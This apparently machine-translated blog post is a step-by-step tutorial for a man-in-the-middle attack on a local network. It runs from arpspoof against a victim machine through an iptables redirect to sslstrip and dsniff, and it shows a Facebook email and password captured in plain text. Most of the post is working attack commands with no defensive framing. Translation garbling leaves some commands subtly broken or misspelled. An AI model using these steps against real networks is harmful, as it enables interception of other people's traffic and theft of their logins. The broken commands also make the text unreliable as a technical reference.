• Skip to main content
  • Skip to header right navigation
  • Skip to site footer
iGuRu

iGuRu

Real-time Technology News. Opinions & Tweaks

  • / news
  • / infosec
  • / tools
  • / tweaks
  • / dummies
  • / opinions
  • / support
home / infosec / Capture HTTPS / FTP packages with ARP Spoofing and MITM

Capture HTTPS / FTP packages with ARP Spoofing and MITM

07/02/2021 17:04 by Anastasis Vasileiadis

According to Wikipedia , pcryptography and computer security, a  man-in-the-middle attack  (MITM) is an attack where the attacker secretly transmits and possibly alters the communication between two devices that they believe are communicating directly with each other.

kali linux - Capture HTTPS / FTP packages with ARP Spoofing and MITM

An attack MITM allows a malicious user to monitor, send and receive data intended for someone else or not intended to be sent at all.

In this guide we will work on Kali Linux as well as the pre-installed tools we will use are arpspoof, sslstrip, dsniff, iptables etc.

If you want to use some other Linux distributions, then you can easily install these tools by typing the following commands:

Command: sudo apt-get install aprspoof && sudo apt-get install sslstrip && sudo apt-get install dsniff

Details:

  1. Victim's Machine - Windows XP (192.168.179.147)
  2. Attacker's Machine - Kali Linux (192.168.179.146)
  3. Router IP Address - Gateway (192.168.179.2)

The first step is to configure our perpetrator to allow packet forwarding, which will allow him to imitate himself as a router. To trick the victim's machine into thinking it is connected to the router, but it will actually reconnect to the attacking machine.

To forward packages, you need to open a terminal and enter " echo 1> / proc / sys / net / ipv4 / ip_forward".

mitm1 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

This will allow us to drive traffic from the attacker's machine to the victim's machine. You can also use the following command to enable packet forwarding.

Command: sysctl -w net.ipv4.ip_forward = 1

mitm8 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

If your machine does not forward the packages, the user's internet connection will freeze and therefore the attack will not be completed.

Now in the second step, we need to configure the iptables in such a way that they can redirect all traffic from port 80 to port 8080.

Command: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

mitm2 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

The next step is to find the default gateway of the router, which you can easily discover by typing “routeAt your terminal.

So in this case, the default address is "192.168.179.2".

mitm3 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

To find the IP address of your destination, you can use any of the social engineering methods or you can run the command Nmap to learn all the live servers on your network by typing “nmap -sP 192.168.179.1/24".

Now the next step is to adjust the arpspoof between the victim and the perpetrator.

Arpspoof is a command-line utility that allows you to monitor packets on an alternating LAN. It's an extremely effective way of sniffing traffic on a switch.

Syntax: arpspoof -i [Interface Name] -t [Victim's IP] -r [Router's IP]

So in our case,

  • -i = eth0
  • -t = 192.168.179.147
  • -r = 192.168.179.2

Thus, the final command will be:

Command: arpspoof -i eth0 -t 192.168.179.147 -r 192.168.179.2

mitm4 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

The above procedure will monitor the flow of packets from the victim to the router. Now to capture HTTP packets, you can use the Ettercap tool which is one of the most popular sniffing tools. But you all know that over 70% of sites now have HTTPS, so to sniff in HTTPS packets, we will use SSLSTRIP.

SSLStrip looks for HTTPS links and redirects. Then pair these links with either identical or other identical HTTP links or similar HTTPS links. To start the sslstrip process, the command is “sslstrip -l 8080".

mitm5 - Capture HTTPS / FTP packets with ARP Spoofing and MITM

When the victim's machine visits a website, all https traffic will be forwarded to the attacking machine. In our case, we try to access https://facebook.com and as soon as you enter the login information and password, a file sslstrip.log will be saved in your original directory of the Kali Linux machine.

As you can see, we have captured HTTPS packages in plain text that includes a login email and a password for our target facebook account.

Now, if you want to capture more data from some other protocols such as FTP, HTTP, SNMP, POP, LDAP, etc., you will use Dsniff Tool, which is also pre-installed on Kali Linux.

To use Dsniff, open a new terminal and enter “dsniff -i eth0".

To capture only the URL information, you can use the command "urlsnarf -i eth0".

To capture her SMTP mail traffic, you can use the command " mailsnarf -i eth0".

Once you're done with your attack, remember to turn off packet forwarding on your system by running the following command again on a terminal:

Command: sysctl -w net.ipv4.ip_forward = 0

Capture HTTPS / FTP packages with ARP Spoofing and MITM was last modified: 7 February, 2021, 5: 04 pm by Anastasis Vasileiadis

Subscribe to our newsletter

no spam

spread the news

  • Facebook
  • Twitter
  • Reddit
  • Printing
  • Email

Read them Technology News from all over the world, with the validity of iGuRu.gr

Follow us on Google News


Competition: infosecDay: https, Kali Linux, myth, spoofing

You May Also Like

Create a fake Access Point
Kali Linux 2021.1 has just been released
MITM Attack Guide to LAN

About Us Anastasis Vasileiadis

Translations are like women. When they are beautiful they are not faithful and when they are faithful they are not beautiful.

Previous Post: « What are open source licenses and what are proprietary
Next Post: Pin the online score of a sports match to your Android screen »

Reader Interactions

Comment Policy:

IGuRu.gr does not publish the comments immediately. Malicious comments, comments that include ads, or comments that are offensive are deleted without notice. We do not adopt the opinions expressed by our readers.
Your comments will be displayed after approval by the administrators


Leave your comment
Ακύρωση απάντησης

Your email address is not published. Τα υποχρεωτικά πεδία σημειώνονται με *

 

 © 2021 · iGuRu.gr · ☢ · Keep It Simple Stupid Genesis theme

about  ·   get in touch  ·  rss  ·  sitemap  ·  cough

loadingCancel
Could not post post - check your email address!
Email verification failed, please try again
Your blog can not post posts via email.